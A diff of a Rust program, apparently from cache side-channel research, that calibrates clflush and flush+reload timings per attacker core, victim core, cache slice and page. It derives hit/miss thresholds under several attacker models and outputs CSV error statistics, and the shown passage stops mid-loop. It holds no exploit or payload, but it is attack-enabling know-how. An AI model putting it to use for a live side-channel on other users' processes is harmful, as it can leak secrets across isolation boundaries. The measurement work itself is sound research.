@ -1,7 +1,9 @@
|
|||||||
use cache_utils::calibration::{
|
use cache_utils::calibration::{
|
||||||
calibrate_fixed_freq_2_thread, flush_and_reload, get_cache_slicing, load_and_flush, only_flush,
|
accumulate, calibrate_fixed_freq_2_thread, calibration_result_to_ASVP, flush_and_reload,
|
||||||
only_reload, reload_and_flush, CalibrateOperation2T, CalibrateResult2T, CalibrationOptions,
|
get_cache_slicing, load_and_flush, map_values, only_flush, only_reload, reduce,
|
||||||
HistParams, Verbosity, CFLUSH_BUCKET_NUMBER, CFLUSH_BUCKET_SIZE, CFLUSH_NUM_ITER,
|
reload_and_flush, CalibrateOperation2T, CalibrateResult2T, CalibrationOptions, ErrorPrediction,
|
||||||
|
ErrorPredictions, HistParams, HistogramCumSum, PotentialThresholds, ThresholdError, Verbosity,
|
||||||
|
ASP, ASVP, AV, CFLUSH_BUCKET_NUMBER, CFLUSH_BUCKET_SIZE, CFLUSH_NUM_ITER, SP, SVP,
|
||||||
};
|
};
|
||||||
use cache_utils::mmap::MMappedMemory;
|
use cache_utils::mmap::MMappedMemory;
|
||||||
use cache_utils::{flush, maccess, noop};
|
use cache_utils::{flush, maccess, noop};
|
||||||
@ -10,6 +12,7 @@ use nix::unistd::Pid;
|
|||||||
|
|
||||||
use core::arch::x86_64 as arch_x86;
|
use core::arch::x86_64 as arch_x86;
|
||||||
|
|
||||||
|
use std::cmp::Ordering;
|
||||||
use std::collections::HashMap;
|
use std::collections::HashMap;
|
||||||
use std::process::Command;
|
use std::process::Command;
|
||||||
use std::str::from_utf8;
|
use std::str::from_utf8;
|
||||||
@ -49,6 +52,8 @@ struct ResultAnalysis {
|
|||||||
pub min_error_mlh: u32,
|
pub min_error_mlh: u32,
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Split the threshold and error in two separate structs ?
|
||||||
|
|
||||||
#[derive(Debug, Clone, Copy)]
|
#[derive(Debug, Clone, Copy)]
|
||||||
struct Threshold {
|
struct Threshold {
|
||||||
pub error_rate: f32,
|
pub error_rate: f32,
|
||||||
@ -104,77 +109,76 @@ fn main() {
|
|||||||
|
|
||||||
let verbose_level = Verbosity::RawResult;
|
let verbose_level = Verbosity::RawResult;
|
||||||
|
|
||||||
unsafe {
|
let pointer = (&array[0]) as *const u8;
|
||||||
let pointer = (&array[0]) as *const u8;
|
if pointer as usize & (cache_line_size - 1) != 0 {
|
||||||
|
panic!("not aligned nicely");
|
||||||
|
}
|
||||||
|
|
||||||
if pointer as usize & (cache_line_size - 1) != 0 {
|
let operations = [
|
||||||
panic!("not aligned nicely");
|
CalibrateOperation2T {
|
||||||
}
|
prepare: maccess::<u8>,
|
||||||
|
op: only_flush,
|
||||||
|
name: "clflush_remote_hit",
|
||||||
|
display_name: "clflush remote hit",
|
||||||
|
},
|
||||||
|
CalibrateOperation2T {
|
||||||
|
prepare: maccess::<u8>,
|
||||||
|
op: load_and_flush,
|
||||||
|
name: "clflush_shared_hit",
|
||||||
|
display_name: "clflush shared hit",
|
||||||
|
},
|
||||||
|
CalibrateOperation2T {
|
||||||
|
prepare: flush,
|
||||||
|
op: only_flush,
|
||||||
|
name: "clflush_miss_f",
|
||||||
|
display_name: "clflush miss - f",
|
||||||
|
},
|
||||||
|
CalibrateOperation2T {
|
||||||
|
prepare: flush,
|
||||||
|
op: load_and_flush,
|
||||||
|
name: "clflush_local_hit_f",
|
||||||
|
display_name: "clflush local hit - f",
|
||||||
|
},
|
||||||
|
CalibrateOperation2T {
|
||||||
|
prepare: noop::<u8>,
|
||||||
|
op: only_flush,
|
||||||
|
name: "clflush_miss_n",
|
||||||
|
display_name: "clflush miss - n",
|
||||||
|
},
|
||||||
|
CalibrateOperation2T {
|
||||||
|
prepare: noop::<u8>,
|
||||||
|
op: load_and_flush,
|
||||||
|
name: "clflush_local_hit_n",
|
||||||
|
display_name: "clflush local hit - n",
|
||||||
|
},
|
||||||
|
CalibrateOperation2T {
|
||||||
|
prepare: noop::<u8>,
|
||||||
|
op: flush_and_reload,
|
||||||
|
name: "reload_miss",
|
||||||
|
display_name: "reload miss",
|
||||||
|
},
|
||||||
|
CalibrateOperation2T {
|
||||||
|
prepare: maccess::<u8>,
|
||||||
|
op: reload_and_flush,
|
||||||
|
name: "reload_remote_hit",
|
||||||
|
display_name: "reload remote hit",
|
||||||
|
},
|
||||||
|
CalibrateOperation2T {
|
||||||
|
prepare: maccess::<u8>,
|
||||||
|
op: only_reload,
|
||||||
|
name: "reload_shared_hit",
|
||||||
|
display_name: "reload shared hit",
|
||||||
|
},
|
||||||
|
CalibrateOperation2T {
|
||||||
|
prepare: noop::<u8>,
|
||||||
|
op: only_reload,
|
||||||
|
name: "reload_local_hit",
|
||||||
|
display_name: "reload local hit",
|
||||||
|
},
|
||||||
|
];
|
||||||
|
|
||||||
let operations = [
|
let r = unsafe {
|
||||||
CalibrateOperation2T {
|
calibrate_fixed_freq_2_thread(
|
||||||
prepare: maccess::<u8>,
|
|
||||||
op: only_flush,
|
|
||||||
name: "clflush_remote_hit",
|
|
||||||
display_name: "clflush remote hit",
|
|
||||||
},
|
|
||||||
CalibrateOperation2T {
|
|
||||||
prepare: maccess::<u8>,
|
|
||||||
op: load_and_flush,
|
|
||||||
name: "clflush_shared_hit",
|
|
||||||
display_name: "clflush shared hit",
|
|
||||||
},
|
|
||||||
CalibrateOperation2T {
|
|
||||||
prepare: flush,
|
|
||||||
op: only_flush,
|
|
||||||
name: "clflush_miss_f",
|
|
||||||
display_name: "clflush miss - f",
|
|
||||||
},
|
|
||||||
CalibrateOperation2T {
|
|
||||||
prepare: flush,
|
|
||||||
op: load_and_flush,
|
|
||||||
name: "clflush_local_hit_f",
|
|
||||||
display_name: "clflush local hit - f",
|
|
||||||
},
|
|
||||||
CalibrateOperation2T {
|
|
||||||
prepare: noop::<u8>,
|
|
||||||
op: only_flush,
|
|
||||||
name: "clflush_miss_n",
|
|
||||||
display_name: "clflush miss - n",
|
|
||||||
},
|
|
||||||
CalibrateOperation2T {
|
|
||||||
prepare: noop::<u8>,
|
|
||||||
op: load_and_flush,
|
|
||||||
name: "clflush_local_hit_n",
|
|
||||||
display_name: "clflush local hit - n",
|
|
||||||
},
|
|
||||||
CalibrateOperation2T {
|
|
||||||
prepare: noop::<u8>,
|
|
||||||
op: flush_and_reload,
|
|
||||||
name: "reload_miss",
|
|
||||||
display_name: "reload miss",
|
|
||||||
},
|
|
||||||
CalibrateOperation2T {
|
|
||||||
prepare: maccess::<u8>,
|
|
||||||
op: reload_and_flush,
|
|
||||||
name: "reload_remote_hit",
|
|
||||||
display_name: "reload remote hit",
|
|
||||||
},
|
|
||||||
CalibrateOperation2T {
|
|
||||||
prepare: maccess::<u8>,
|
|
||||||
op: only_reload,
|
|
||||||
name: "reload_shared_hit",
|
|
||||||
display_name: "reload shared hit",
|
|
||||||
},
|
|
||||||
CalibrateOperation2T {
|
|
||||||
prepare: noop::<u8>,
|
|
||||||
op: only_reload,
|
|
||||||
name: "reload_local_hit",
|
|
||||||
display_name: "reload local hit",
|
|
||||||
},
|
|
||||||
];
|
|
||||||
|
|
||||||
let r = calibrate_fixed_freq_2_thread(
|
|
||||||
pointer,
|
pointer,
|
||||||
64, // FIXME : MAGIC
|
64, // FIXME : MAGIC
|
||||||
array.len() as isize >> 3, // MAGIC
|
array.len() as isize >> 3, // MAGIC
|
||||||
@ -190,152 +194,503 @@ fn main() {
|
|||||||
optimised_addresses: true,
|
optimised_addresses: true,
|
||||||
},
|
},
|
||||||
core_per_socket,
|
core_per_socket,
|
||||||
);
|
)
|
||||||
|
};
|
||||||
|
|
||||||
let mut analysis = HashMap::<ASV, ResultAnalysis>::new();
|
//let mut analysis = HashMap::<ASV, ResultAnalysis>::new();
|
||||||
|
|
||||||
let miss_name = "clflush_miss_n";
|
let miss_name = "clflush_miss_n";
|
||||||
let hit_name = "clflush_remote_hit";
|
let hit_name = "clflush_remote_hit";
|
||||||
|
|
||||||
let miss_index = operations
|
let miss_index = operations
|
||||||
.iter()
|
.iter()
|
||||||
.position(|op| op.name == miss_name)
|
.position(|op| op.name == miss_name)
|
||||||
.unwrap();
|
.unwrap();
|
||||||
let hit_index = operations
|
let hit_index = operations
|
||||||
.iter()
|
.iter()
|
||||||
.position(|op| op.name == hit_name)
|
.position(|op| op.name == hit_name)
|
||||||
.unwrap();
|
.unwrap();
|
||||||
|
|
||||||
let slicing = get_cache_slicing(core_per_socket);
|
let slicing = get_cache_slicing(core_per_socket);
|
||||||
|
|
||||||
let h = if let Some(s) = slicing {
|
let h = if let Some(s) = slicing {
|
||||||
if s.can_hash() {
|
if s.can_hash() {
|
||||||
|addr: usize| -> u8 { slicing.unwrap().hash(addr).unwrap() }
|
|addr: usize| -> u8 { slicing.unwrap().hash(addr).unwrap() }
|
||||||
} else {
|
|
||||||
panic!("No slicing function known");
|
|
||||||
}
|
|
||||||
} else {
|
} else {
|
||||||
panic!("No slicing function known");
|
panic!("No slicing function known");
|
||||||
};
|
|
||||||
|
|
||||||
for result in r {
|
|
||||||
match result.res {
|
|
||||||
Err(e) => {
|
|
||||||
eprintln!("Ooops : {:#?}", e);
|
|
||||||
panic!()
|
|
||||||
}
|
|
||||||
Ok(results) => {
|
|
||||||
for r in results {
|
|
||||||
let offset = r.offset;
|
|
||||||
let miss_hist = &r.histogram[miss_index];
|
|
||||||
let hit_hist = &r.histogram[hit_index];
|
|
||||||
|
|
||||||
if miss_hist.len() != hit_hist.len() {
|
|
||||||
panic!("Maformed results");
|
|
||||||
}
|
|
||||||
let len = miss_hist.len();
|
|
||||||
let mut miss_cum_sum = vec![0; len];
|
|
||||||
let mut hit_cum_sum = vec![0; len];
|
|
||||||
miss_cum_sum[0] = miss_hist[0];
|
|
||||||
hit_cum_sum[0] = hit_hist[0];
|
|
||||||
for i in 1..len {
|
|
||||||
miss_cum_sum[i] = miss_hist[i] + miss_cum_sum[i - 1];
|
|
||||||
hit_cum_sum[i] = hit_hist[i] + hit_cum_sum[i - 1];
|
|
||||||
}
|
|
||||||
let miss_total = miss_cum_sum[len - 1];
|
|
||||||
let hit_total = hit_cum_sum[len - 1];
|
|
||||||
|
|
||||||
let mut error_miss_less_than_hit = vec![0; len - 1];
|
|
||||||
let mut error_hit_less_than_miss = vec![0; len - 1];
|
|
||||||
|
|
||||||
let mut min_error_hlm = u32::max_value();
|
|
||||||
let mut min_error_mlh = u32::max_value();
|
|
||||||
|
|
||||||
for i in 0..(len - 1) {
|
|
||||||
error_hit_less_than_miss[i] =
|
|
||||||
miss_cum_sum[i] + (hit_total - hit_cum_sum[i]);
|
|
||||||
error_miss_less_than_hit[i] =
|
|
||||||
hit_cum_sum[i] + (miss_total - miss_cum_sum[i]);
|
|
||||||
|
|
||||||
if error_hit_less_than_miss[i] < min_error_hlm {
|
|
||||||
min_error_hlm = error_hit_less_than_miss[i];
|
|
||||||
}
|
|
||||||
if error_miss_less_than_hit[i] < min_error_mlh {
|
|
||||||
min_error_mlh = error_miss_less_than_hit[i];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
analysis.insert(
|
|
||||||
ASV {
|
|
||||||
attacker: result.main_core as u8,
|
|
||||||
slice: h(offset as usize),
|
|
||||||
victim: result.helper_core as u8,
|
|
||||||
},
|
|
||||||
ResultAnalysis {
|
|
||||||
miss: miss_hist.clone(),
|
|
||||||
miss_cum_sum,
|
|
||||||
miss_total,
|
|
||||||
hit: hit_hist.clone(),
|
|
||||||
hit_cum_sum,
|
|
||||||
hit_total,
|
|
||||||
error_miss_less_than_hit,
|
|
||||||
error_hit_less_than_miss,
|
|
||||||
min_error_hlm,
|
|
||||||
min_error_mlh,
|
|
||||||
},
|
|
||||||
);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
let mut thresholds = HashMap::new();
|
} else {
|
||||||
for (asv, results) in analysis {
|
panic!("No slicing function known");
|
||||||
let hlm = results.min_error_hlm < results.min_error_mlh;
|
};
|
||||||
let (errors, min_error) = if hlm {
|
|
||||||
(&results.error_hit_less_than_miss, results.min_error_hlm)
|
/* Analysis Flow
|
||||||
} else {
|
Vec<CalibrationResult2T> (or Vec<CalibrationResult>) -> Corresponding ASVP + Analysis (use the type from two_thread_cal, or similar)
|
||||||
(&results.error_miss_less_than_hit, results.min_error_mlh)
|
ASVP,Analysis -> ASVP,Thresholds,Error
|
||||||
|
ASVP,Analysis -> ASP,Analysis (mobile victim) -> ASP, Threshold, Error -> ASVP detailed Threshold,Error in ASP model
|
||||||
|
ASVP,Analysis -> SP, Analysis (mobile A and V) -> SP, Threshold, Error -> ASVP detailed Threshold,Error in SP model
|
||||||
|
ASVP,Analysis -> AV, Analysis (legacy attack) -> AV, Threshold, Error -> ASVP detailed Threshold,Error in AV model
|
||||||
|
ASVP,Analysis -> Global Analysis -> Global Threshold, Error -> ASVP detailed Threshold,Error in Global Model
|
||||||
|
The last step is done as a apply operation on original ASVP Analysis using the new Thresholds.
|
||||||
|
|
||||||
|
This model correspond to an attacker that can chose its core and its victim core, and has slice knowledge
|
||||||
|
ASVP,Thresholds,Error -> Best AV selection for average error. HashMap<AV,(ErrorPrediction,HashMap<ASVP,Threshold,Error>)>
|
||||||
|
|
||||||
|
This model corresponds to an attacker that can chose its own core, measure victim location, and has slice knowledge.
|
||||||
|
ASVP,Thresholds,Error -> Best A selection for average error. HashMap<AV,(ErrorPrediction,HashMap<ASVP,Threshold,Error>)>
|
||||||
|
|
||||||
|
Also compute best AV pair for AV model
|
||||||
|
|
||||||
|
What about chosing A but no knowing V at all, from ASP detiled analysis ?
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
Compute for each model averages, worst and best cases ?
|
||||||
|
|
||||||
|
*/
|
||||||
|
|
||||||
|
let new_analysis: Result<HashMap<ASVP, ErrorPredictions>, nix::Error> =
|
||||||
|
calibration_result_to_ASVP(
|
||||||
|
r,
|
||||||
|
pointer,
|
||||||
|
|cal_1t_res| {
|
||||||
|
ErrorPredictions::predict_errors(HistogramCumSum::from_calibrate(
|
||||||
|
cal_1t_res, hit_index, miss_index,
|
||||||
|
))
|
||||||
|
},
|
||||||
|
&h,
|
||||||
|
);
|
||||||
|
|
||||||
|
// Analysis aka HashMap<subset of ASVP, ErrorPredictions> --------------------------------------
|
||||||
|
|
||||||
|
let asvp_analysis = match new_analysis {
|
||||||
|
Ok(a) => a,
|
||||||
|
Err(e) => panic!("Error: {}", e),
|
||||||
|
};
|
||||||
|
|
||||||
|
asvp_analysis[&ASVP {
|
||||||
|
attacker: 0,
|
||||||
|
slice: 0,
|
||||||
|
victim: 0,
|
||||||
|
page: pointer as usize,
|
||||||
|
}]
|
||||||
|
.debug();
|
||||||
|
|
||||||
|
let asp_analysis = accumulate(
|
||||||
|
asvp_analysis.clone(),
|
||||||
|
|asvp: ASVP| ASP {
|
||||||
|
attacker: asvp.attacker,
|
||||||
|
slice: asvp.slice,
|
||||||
|
page: asvp.page,
|
||||||
|
},
|
||||||
|
|| ErrorPredictions::empty(CFLUSH_BUCKET_NUMBER),
|
||||||
|
|accumulator: &mut ErrorPredictions, error_preds: ErrorPredictions, _key, _rkey| {
|
||||||
|
*accumulator += error_preds;
|
||||||
|
},
|
||||||
|
);
|
||||||
|
|
||||||
|
let sp_analysis = accumulate(
|
||||||
|
asp_analysis.clone(),
|
||||||
|
|asp: ASP| SP {
|
||||||
|
slice: asp.slice,
|
||||||
|
page: asp.page,
|
||||||
|
},
|
||||||
|
|| ErrorPredictions::empty(CFLUSH_BUCKET_NUMBER),
|
||||||
|
|accumulator: &mut ErrorPredictions, error_preds: ErrorPredictions, _key, _rkey| {
|
||||||
|
*accumulator += error_preds;
|
||||||
|
},
|
||||||
|
);
|
||||||
|
|
||||||
|
// This one is the what would happen if you ignored slices
|
||||||
|
let av_analysis = accumulate(
|
||||||
|
asvp_analysis.clone(),
|
||||||
|
|asvp: ASVP| AV {
|
||||||
|
attacker: asvp.attacker,
|
||||||
|
victim: asvp.victim,
|
||||||
|
},
|
||||||
|
|| ErrorPredictions::empty(CFLUSH_BUCKET_NUMBER),
|
||||||
|
|accumulator: &mut ErrorPredictions, error_preds: ErrorPredictions, _key, _rkey| {
|
||||||
|
*accumulator += error_preds;
|
||||||
|
},
|
||||||
|
);
|
||||||
|
|
||||||
|
let global_analysis = accumulate(
|
||||||
|
av_analysis.clone(),
|
||||||
|
|_av: AV| (),
|
||||||
|
|| ErrorPredictions::empty(CFLUSH_BUCKET_NUMBER),
|
||||||
|
|accumulator: &mut ErrorPredictions, error_preds: ErrorPredictions, _key, _rkey| {
|
||||||
|
*accumulator += error_preds;
|
||||||
|
},
|
||||||
|
)
|
||||||
|
.remove(&())
|
||||||
|
.unwrap();
|
||||||
|
|
||||||
|
// Thresholds aka HashMap<subset of ASVP,ThresholdError> ---------------------------------------
|
||||||
|
|
||||||
|
let asvp_threshold_errors: HashMap<ASVP, ThresholdError> = map_values(
|
||||||
|
asvp_analysis.clone(),
|
||||||
|
|error_predictions: ErrorPredictions, _| {
|
||||||
|
PotentialThresholds::minimizing_total_error(error_predictions)
|
||||||
|
.median()
|
||||||
|
.unwrap()
|
||||||
|
},
|
||||||
|
);
|
||||||
|
|
||||||
|
let asp_threshold_errors =
|
||||||
|
map_values(asp_analysis, |error_predictions: ErrorPredictions, _| {
|
||||||
|
PotentialThresholds::minimizing_total_error(error_predictions)
|
||||||
|
.median()
|
||||||
|
.unwrap()
|
||||||
|
});
|
||||||
|
|
||||||
|
let sp_threshold_errors = map_values(sp_analysis, |error_predictions: ErrorPredictions, _| {
|
||||||
|
PotentialThresholds::minimizing_total_error(error_predictions)
|
||||||
|
.median()
|
||||||
|
.unwrap()
|
||||||
|
});
|
||||||
|
|
||||||
|
let av_threshold_errors = map_values(av_analysis, |error_predictions: ErrorPredictions, _| {
|
||||||
|
PotentialThresholds::minimizing_total_error(error_predictions)
|
||||||
|
.median()
|
||||||
|
.unwrap()
|
||||||
|
});
|
||||||
|
|
||||||
|
let gt_threshold_error = PotentialThresholds::minimizing_total_error(global_analysis)
|
||||||
|
.median()
|
||||||
|
.unwrap();
|
||||||
|
|
||||||
|
// ASVP detailed Threshold,Error in strict subset of ASVP model --------------------------------
|
||||||
|
// HashMap<ASVP, (Thershold ?)Error>,
|
||||||
|
// with the same threshold for all the ASVP sharing the same value of an ASVP subset.
|
||||||
|
|
||||||
|
let asp_detailed_errors: HashMap<ASVP, ThresholdError> = map_values(
|
||||||
|
asvp_analysis.clone(),
|
||||||
|
|error_pred: ErrorPredictions, asvp: &ASVP| {
|
||||||
|
let asp = ASP {
|
||||||
|
attacker: asvp.attacker,
|
||||||
|
slice: asvp.slice,
|
||||||
|
page: asvp.page,
|
||||||
};
|
};
|
||||||
|
let threshold = asp_threshold_errors[&asp].threshold;
|
||||||
|
let error = error_pred.histogram.error_for_threshold(threshold);
|
||||||
|
ThresholdError { threshold, error }
|
||||||
|
},
|
||||||
|
);
|
||||||
|
|
||||||
let mut threshold_vec = Vec::new();
|
let sp_detailed_errors: HashMap<ASVP, ThresholdError> = map_values(
|
||||||
|
asvp_analysis.clone(),
|
||||||
|
|error_pred: ErrorPredictions, asvp: &ASVP| {
|
||||||
|
let sp = SP {
|
||||||
|
slice: asvp.slice,
|
||||||
|
page: asvp.page,
|
||||||
|
};
|
||||||
|
let threshold = sp_threshold_errors[&sp].threshold;
|
||||||
|
let error = error_pred.histogram.error_for_threshold(threshold);
|
||||||
|
ThresholdError { threshold, error }
|
||||||
|
},
|
||||||
|
);
|
||||||
|
|
||||||
// refactor some of this logic into methods of analysis ?
|
let av_detailed_errors: HashMap<ASVP, ThresholdError> = map_values(
|
||||||
|
asvp_analysis.clone(),
|
||||||
|
|error_pred: ErrorPredictions, asvp: &ASVP| {
|
||||||
|
let av = AV {
|
||||||
|
attacker: asvp.attacker,
|
||||||
|
victim: asvp.victim,
|
||||||
|
};
|
||||||
|
let threshold = av_threshold_errors[&av].threshold;
|
||||||
|
let error = error_pred.histogram.error_for_threshold(threshold);
|
||||||
|
ThresholdError { threshold, error }
|
||||||
|
},
|
||||||
|
);
|
||||||
|
|
||||||
for i in 0..errors.len() {
|
let gt_detailed_errors: HashMap<ASVP, ThresholdError> =
|
||||||
if errors[i] == min_error {
|
map_values(asvp_analysis.clone(), |error_pred: ErrorPredictions, _| {
|
||||||
let num_true_hit;
|
let threshold = gt_threshold_error.threshold;
|
||||||
let num_false_hit;
|
let error = error_pred.histogram.error_for_threshold(threshold);
|
||||||
let num_true_miss;
|
ThresholdError { threshold, error }
|
||||||
let num_false_miss;
|
});
|
||||||
if hlm {
|
|
||||||
num_true_hit = results.hit_cum_sum[i];
|
|
||||||
num_false_hit = results.miss_cum_sum[i];
|
|
||||||
num_true_miss = results.miss_total - num_false_hit;
|
|
||||||
num_false_miss = results.hit_total - num_true_hit;
|
|
||||||
} else {
|
|
||||||
num_true_miss = results.miss_cum_sum[i];
|
|
||||||
num_false_miss = results.hit_cum_sum[i];
|
|
||||||
num_true_hit = results.hit_total - num_false_miss;
|
|
||||||
num_false_hit = results.miss_total - num_true_miss;
|
|
||||||
}
|
|
||||||
threshold_vec.push(Threshold {
|
|
||||||
threshold: i,
|
|
||||||
is_hlm: hlm,
|
|
||||||
num_true_hit,
|
|
||||||
num_false_hit,
|
|
||||||
num_true_miss,
|
|
||||||
num_false_miss,
|
|
||||||
error_rate: min_error as f32
|
|
||||||
/ (results.hit_total + results.miss_total) as f32,
|
|
||||||
})
|
|
||||||
}
|
|
||||||
/*
|
|
||||||
|
|
||||||
*/
|
// Best core selections
|
||||||
}
|
|
||||||
thresholds.insert(asv, threshold_vec);
|
let asvp_best_av_errors: HashMap<AV, (ErrorPrediction, HashMap<SP, ThresholdError>)> =
|
||||||
|
accumulate(
|
||||||
|
asvp_threshold_errors.clone(),
|
||||||
|
|asvp: ASVP| AV {
|
||||||
|
attacker: asvp.attacker,
|
||||||
|
victim: asvp.victim,
|
||||||
|
},
|
||||||
|
|| (ErrorPrediction::default(), HashMap::new()),
|
||||||
|
|acc: &mut (ErrorPrediction, HashMap<SP, ThresholdError>),
|
||||||
|
threshold_error,
|
||||||
|
asvp: ASVP,
|
||||||
|
av| {
|
||||||
|
assert_eq!(av.attacker, asvp.attacker);
|
||||||
|
assert_eq!(av.victim, asvp.victim);
|
||||||
|
let sp = SP {
|
||||||
|
slice: asvp.slice,
|
||||||
|
page: asvp.page,
|
||||||
|
};
|
||||||
|
acc.0 += threshold_error.error;
|
||||||
|
acc.1.insert(sp, threshold_error);
|
||||||
|
},
|
||||||
|
);
|
||||||
|
|
||||||
|
let asvp_best_a_errors: HashMap<usize, (ErrorPrediction, HashMap<SVP, ThresholdError>)> =
|
||||||
|
accumulate(
|
||||||
|
asvp_threshold_errors.clone(),
|
||||||
|
|asvp: ASVP| asvp.attacker,
|
||||||
|
|| (ErrorPrediction::default(), HashMap::new()),
|
||||||
|
|acc: &mut (ErrorPrediction, HashMap<SVP, ThresholdError>),
|
||||||
|
threshold_error,
|
||||||
|
asvp: ASVP,
|
||||||
|
attacker| {
|
||||||
|
assert_eq!(attacker, asvp.attacker);
|
||||||
|
let svp = SVP {
|
||||||
|
slice: asvp.slice,
|
||||||
|
page: asvp.page,
|
||||||
|
victim: asvp.victim,
|
||||||
|
};
|
||||||
|
acc.0 += threshold_error.error;
|
||||||
|
acc.1.insert(svp, threshold_error);
|
||||||
|
},
|
||||||
|
);
|
||||||
|
|
||||||
|
let asp_best_a_errors: HashMap<usize, (ErrorPrediction, HashMap<SVP, ThresholdError>)> =
|
||||||
|
accumulate(
|
||||||
|
asp_detailed_errors.clone(),
|
||||||
|
|asvp: ASVP| asvp.attacker,
|
||||||
|
|| (ErrorPrediction::default(), HashMap::new()),
|
||||||
|
|acc: &mut (ErrorPrediction, HashMap<SVP, ThresholdError>),
|
||||||
|
threshold_error,
|
||||||
|
asvp: ASVP,
|
||||||
|
attacker| {
|
||||||
|
assert_eq!(attacker, asvp.attacker);
|
||||||
|
let svp = SVP {
|
||||||
|
slice: asvp.slice,
|
||||||
|
page: asvp.page,
|
||||||
|
victim: asvp.victim,
|
||||||
|
};
|
||||||
|
acc.0 += threshold_error.error;
|
||||||
|
acc.1.insert(svp, threshold_error);
|
||||||
|
},
|
||||||
|
);
|
||||||
|
|
||||||
|
//let av_best_av_errors
|
||||||
|
let av_best_a_erros: HashMap<usize, (ErrorPrediction, HashMap<SVP, ThresholdError>)> =
|
||||||
|
accumulate(
|
||||||
|
av_detailed_errors.clone(),
|
||||||
|
|asvp: ASVP| asvp.attacker,
|
||||||
|
|| (ErrorPrediction::default(), HashMap::new()),
|
||||||
|
|acc: &mut (ErrorPrediction, HashMap<SVP, ThresholdError>),
|
||||||
|
threshold_error,
|
||||||
|
asvp: ASVP,
|
||||||
|
attacker| {
|
||||||
|
assert_eq!(attacker, asvp.attacker);
|
||||||
|
let svp = SVP {
|
||||||
|
slice: asvp.slice,
|
||||||
|
page: asvp.page,
|
||||||
|
victim: asvp.victim,
|
||||||
|
};
|
||||||
|
acc.0 += threshold_error.error;
|
||||||
|
acc.1.insert(svp, threshold_error);
|
||||||
|
},
|
||||||
|
);
|
||||||
|
|
||||||
|
// Find best index in each model...
|
||||||
|
|
||||||
|
// CSV output logic
|
||||||
|
|
||||||
|
/* moving parts :
|
||||||
|
- order of lines
|
||||||
|
- columns and columns header.
|
||||||
|
- Probably should be a macro ?
|
||||||
|
Or something taking a Vec of Column and getter, plus a vec (or iterator) of 'Keys'
|
||||||
|
*/
|
||||||
|
|
||||||
|
let mut keys = asvp_threshold_errors.keys().collect::<Vec<&ASVP>>();
|
||||||
|
keys.sort_unstable_by(|a: &&ASVP, b: &&ASVP| {
|
||||||
|
if a.page > b.page {
|
||||||
|
Ordering::Greater
|
||||||
|
} else if a.page < b.page {
|
||||||
|
Ordering::Less
|
||||||
|
} else if a.slice > b.slice {
|
||||||
|
Ordering::Greater
|
||||||
|
} else if a.slice < b.slice {
|
||||||
|
Ordering::Less
|
||||||
|
} else if a.attacker > b.attacker {
|
||||||
|
Ordering::Greater
|
||||||
|
} else if a.attacker < b.attacker {
|
||||||
|
Ordering::Less
|
||||||
|
} else if a.victim > b.victim {
|
||||||
|
Ordering::Greater
|
||||||
|
} else if a.victim < b.victim {
|
||||||
|
Ordering::Less
|
||||||
|
} else {
|
||||||
|
Ordering::Equal
|
||||||
}
|
}
|
||||||
eprintln!("Thresholds :\n{:#?}", thresholds);
|
});
|
||||||
println!("Thresholds :\n{:#?}", thresholds);
|
|
||||||
|
// In theory there should be a way of making such code much more modular.
|
||||||
|
|
||||||
|
let error_header = |name: &str| {
|
||||||
|
format!(
|
||||||
|
"{}ErrorRate,{}Errors,{}Measures,{}TrueHit,{}TrueMiss,{}FalseHit,{}FalseMiss",
|
||||||
|
name, name, name, name, name, name, name
|
||||||
|
)
|
||||||
|
};
|
||||||
|
|
||||||
|
let header = |name: &str| {
|
||||||
|
format!(
|
||||||
|
"{}_Threshold,{}_MFH,{}_GlobalErrorRate,{}",
|
||||||
|
name,
|
||||||
|
name,
|
||||||
|
name,
|
||||||
|
error_header(&format!("{}_ASVP", name))
|
||||||
|
)
|
||||||
|
};
|
||||||
|
|
||||||
|
println!(
|
||||||
|
"Analysis:Page,Slice,Attacker,Victim,ASVP_Threshold,ASVP_MFH,{},{},{},{},{}",
|
||||||
|
error_header("ASVP_"),
|
||||||
|
header("ASP"),
|
||||||
|
header("SP"),
|
||||||
|
header("AV"),
|
||||||
|
header("GT")
|
||||||
|
);
|
||||||
|
|
||||||
|
let format_error = |error_pred: &ErrorPrediction| {
|
||||||
|
format!(
|
||||||
|
"{},{},{},{},{},{},{}",
|
||||||
|
error_pred.error_rate(),
|
||||||
|
error_pred.total_error(),
|
||||||
|
error_pred.total(),
|
||||||
|
error_pred.true_hit,
|
||||||
|
error_pred.true_miss,
|
||||||
|
error_pred.false_hit,
|
||||||
|
error_pred.false_miss
|
||||||
|
)
|
||||||
|
};
|
||||||
|
|
||||||
|
let format_detailed_model = |global: &ThresholdError, detailed: &ThresholdError| {
|
||||||
|
assert_eq!(global.threshold, detailed.threshold);
|
||||||
|
format!(
|
||||||
|
"{},{},{},{}",
|
||||||
|
global.threshold.bucket_index,
|
||||||
|
global.threshold.miss_faster_than_hit,
|
||||||
|
global.error.error_rate(),
|
||||||
|
format_error(&detailed.error)
|
||||||
|
)
|
||||||
|
};
|
||||||
|
|
||||||
|
for key in keys {
|
||||||
|
print!(
|
||||||
|
"Analysis:{},{},{},{},",
|
||||||
|
key.page, key.slice, key.attacker, key.victim
|
||||||
|
);
|
||||||
|
let threshold_error = asvp_threshold_errors[key];
|
||||||
|
print!(
|
||||||
|
"{},{},{},",
|
||||||
|
threshold_error.threshold.bucket_index,
|
||||||
|
threshold_error.threshold.miss_faster_than_hit,
|
||||||
|
format_error(&threshold_error.error)
|
||||||
|
);
|
||||||
|
|
||||||
|
let asp_global = &asp_threshold_errors[&ASP {
|
||||||
|
attacker: key.attacker,
|
||||||
|
slice: key.slice,
|
||||||
|
page: key.page,
|
||||||
|
}];
|
||||||
|
let asp_detailed = &asp_detailed_errors[key];
|
||||||
|
print!("{},", format_detailed_model(asp_global, asp_detailed));
|
||||||
|
|
||||||
|
let sp_global = &sp_threshold_errors[&SP {
|
||||||
|
slice: key.slice,
|
||||||
|
page: key.page,
|
||||||
|
}];
|
||||||
|
let sp_detailed = &sp_detailed_errors[key];
|
||||||
|
print!("{},", format_detailed_model(sp_global, sp_detailed));
|
||||||
|
|
||||||
|
let av_global = &av_threshold_errors[&AV {
|
||||||
|
attacker: key.attacker,
|
||||||
|
victim: key.victim,
|
||||||
|
}];
|
||||||
|
